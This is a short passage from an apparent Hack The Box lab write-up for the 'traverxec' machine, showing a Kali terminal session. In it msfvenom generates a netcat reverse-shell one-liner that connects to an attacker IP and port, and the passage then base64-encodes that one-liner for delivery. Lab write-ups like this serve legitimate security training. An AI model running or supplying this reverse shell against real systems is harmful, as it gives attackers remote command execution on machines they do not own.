msfvenom


┌──(kali㉿kali)-[~/archive/htb/labs/traverxec]
└─$ msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.14.17 LPORT=9999                                       
[-] no platform was selected, choosing msf::Module::Platform::Unix from the payload
[-] no arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
payload size: 89 bytes
mkfifo /tmp/srpn; nc 10.10.14.17 9999 0</tmp/srpn | /bin/sh >/tmp/srpn 2>&1; rm /tmp/srpn

msfvenom generated a Netcat reverse shell command

┌──(kali㉿kali)-[~/archive/htb/labs/traverxec]
└─$ echo 'mkfifo /tmp/srpn; nc 10.10.14.17 9999 0</tmp/srpn | /bin/sh >/tmp/srpn 2>&1; rm /tmp/srpn' | base64
bWtmaWZvIC90bXAvc3JwbjsgbmMgMTAuMTAuMTQuMTcgOTk5OSAwPC90bXAvc3JwbiB8IC9iaW4vc2ggPi90bXAvc3JwbiAyPiYxOyBybSAvdG1wL3NycG4K

Wrapping it in the base64 format for delivery